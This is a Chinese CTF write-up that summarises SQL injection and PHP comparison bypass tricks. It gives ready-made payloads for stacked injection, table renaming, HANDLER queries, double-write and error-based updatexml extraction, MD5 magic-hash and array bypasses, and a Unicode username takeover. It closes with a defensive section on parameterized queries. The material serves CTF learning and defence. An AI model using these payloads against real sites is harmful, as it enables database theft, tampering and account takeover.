CTF-SQL注入总结

本文详细介绍了多种Web安全漏洞,包括URL参数MD5加密绕过、堆叠注入、联合查询利用、关键词过滤绕过、Unicode编码绕过、PHP弱类型比较等,并给出了相应的解法和防护策略。通过实例展示了如何利用这些技巧进行安全测试和漏洞利用,同时也提醒开发者注意这些潜在的安全风险。

1、当URL地址传入的参数进行MD5加密时,可采用数组进行绕过。MD5对数组参数不会加密。

$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){ echo $flag;}

方法一:利用md5()函数的漏洞绕过
即使用数组绕过的方法:
由于md5对于字符串检验的时候,遇到数组会返回NULL 所以两个数组经过加密后得到的都是NULL,也就是相等的。
所以上传

/?a[]=1&b[]=2 

方法二:利用“==”比较漏洞绕过
如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。
下列的字符串的MD5值都是0e开头的:

QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a 

2、堆叠注入

(查库)
1';show databases;#
(查表)
1';show tables;#
(查列)
1';show columns from `words`;
1';show columns from `1919810931114514`;

解法1
发现1919810931114514表中有flag,而words表中则是id和data,也就是说它原本是读取words表中的内容,我们只需要把words换成1919810931114514,将id列换成flag列就能读取flag了,然后再1'or 1=1#就有flag了

payload:1';rename table `words` to `word1`;rename table `1919810931114514` to `words`;alter table `words` change flag id varchar(100);#

3、查询数据不存在时,联合查询会构造一个虚拟的数据在数据库中。

1’ union select 1,‘admin’,‘81dc9bdb52d04dc20036dbd8313ed055’#

可以试出回显的1,2,3哪个是用户名,哪个是密码, 这里利用联合查询构造了一个新数据admin pass:1234(MD5加密值)

4、关键词过滤

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
没有过滤show,可使用堆叠注入得到库名和表名
1';show databases;#			1';show tables;#
HANDLER也可作为查询语句,且性能比select更好,
payload:1';HANDLER FlagHere(表名) open;HANDLER FlagHere read first;HANDLER FlagHere close;#  固定语法

5、双写绕过

'uniunionon selselectect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata#

'uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables wherwheree table_schema='ctf'#

'uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns wherwheree table_name='Flag'#

'uniunionon selselectect 1,2,group_concat(flag) frfromom ctf.Flag#

6、Unicode编码绕过

strlower():它将字符串中的所有大写字母转换为小写字母,并返回一个新字符串,

但碰到unicode编码例如ᴬᴰᴹᴵᴺ则会转化为ADMIN,接着看,在登陆处和改变密码处同样用到了strlower

首先注册时username填ᴬᴰᴹᴵᴺ,这时会调用strlower,于是就注册了一个username为ADMIN的用户,之后再用ᴬᴰᴹᴵᴺ进行登陆,又调用strlower,就能以ADMIN登陆,然后再改密码再一次调用strlower,把ADMIN变成了admin,这就达到了改admin密码的效果

7、过滤空格 —报错注入

payload: 'or(updatexml(1,concat(0x7e,(select(database())),0x7e),1))#
'or(updatexml(1,concat(0x7e(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek'))),0x7e),1))#
'or(updatexml(1,concat(0x7e(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1'))),0x7e),1))#
'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))#

8、PHP弱类型比较

php中有两种比较的符号 == 与 ===
    === 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
    == 在进行比较的时候,会先将字符串类型转化成相同,再比较
    如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行
<?php
var_dump("admin"==0); //true
var_dump("1admin"==1); //true
var_dump("admin1"==1) //false
var_dump("admin1"==0) //true
var_dump("0e123456"=="0e4456789"); //true
?>

1.字符串“admin”与数值0比较,先将admin强制转化成数值,由于“admin”是字符串,不包含数字,所以转化结果为0,所以和数值0相等
2.字符串“1admin”包含数字1,强制转化为数值即1,所以==1。
3.“admin1“1 却等于错误,也就是”admin1”被转化成了0。

4.”0e123456”==”0e456789”相互比较的时候,会将0e这类字符串识别为科学技术法的数字,0的无论多少次方都是零,所以相等

字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。

堆叠注入是一种 SQL 注入技术,允许攻击者在一个正常的 SQL 查询之后追加一个或多个额外的 SQL 语句,这些语句会与原查询一起被数据库执行。 ### 原理 堆叠注入的原理基于数据库对多个 SQL 语句的处理机制。在许多数据库系统中,允许使用分号(;)来分隔不同的 SQL 语句。当应用程序在处理用户输入时,没有对输入进行严格的过滤和验证,攻击者就可以在正常的 SQL 查询后面添加额外的 SQL 语句,通过分号分隔,从而实现堆叠注入。例如,引用[1]中的例子“?id=-1';insert into users(id,username,password) value(99,'wwwcn','123456'); --+”,攻击者在原查询基础上通过分号追加了一条插入数据的语句。 ### 危害 堆叠注入的危害与 SQL 注入攻击的危害类似,可能会导致严重的安全问题: - **数据泄露**:攻击者可以通过堆叠注入执行 SELECT 语句,访问数据库中的敏感数据,如用户的个人信息、商业机密等。 - **数据篡改**:攻击者可以使用 INSERT、UPDATE 或 DELETE 语句插入虚假数据、修改现有数据或删除重要数据,影响数据的完整性和可用性。 - **权限提升**:攻击者可能通过堆叠注入执行能够提升权限的 SQL 语句,获取高权限用户的访问权限,从而对数据库进行更高级别的操作。 - **拒绝服务**:攻击者可以执行复杂的查询或命令,使数据库过载,导致应用程序无法正常工作,影响业务的正常运行。 ### 防范方法 为了防范堆叠注入攻击,可以采取以下措施: - **输入验证**:对用户输入进行严格的验证和过滤,只允许合法的字符和格式。可以使用白名单机制,只允许特定的字符和输入格式通过。 - **使用参数化查询**:使用参数化查询(如预编译语句)可以有效地防止 SQL 注入。参数化查询将 SQL 语句和用户输入分开处理,数据库会自动对输入进行转义,避免 SQL 注入的风险。 - **最小化数据库权限**:确保数据库用户账户具有最小的必要权限,限制攻击者在成功注入后能够执行的操作。 - **错误处理**:避免在应用程序中显示详细的数据库错误信息,防止攻击者利用错误信息进行进一步的攻击。 ```python # 使用 Python 和 SQLite 进行参数化查询的示例 import sqlite3 # 连接到数据库 conn = sqlite3.connect('example.db') cursor = conn.cursor() # 用户输入 user_input = '1 OR 1=1' # 使用参数化查询 query = "SELECT * FROM users WHERE id = ?" cursor.execute(query, (user_input,)) # 获取查询结果 results = cursor.fetchall() print(results) # 关闭连接 conn.close() ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值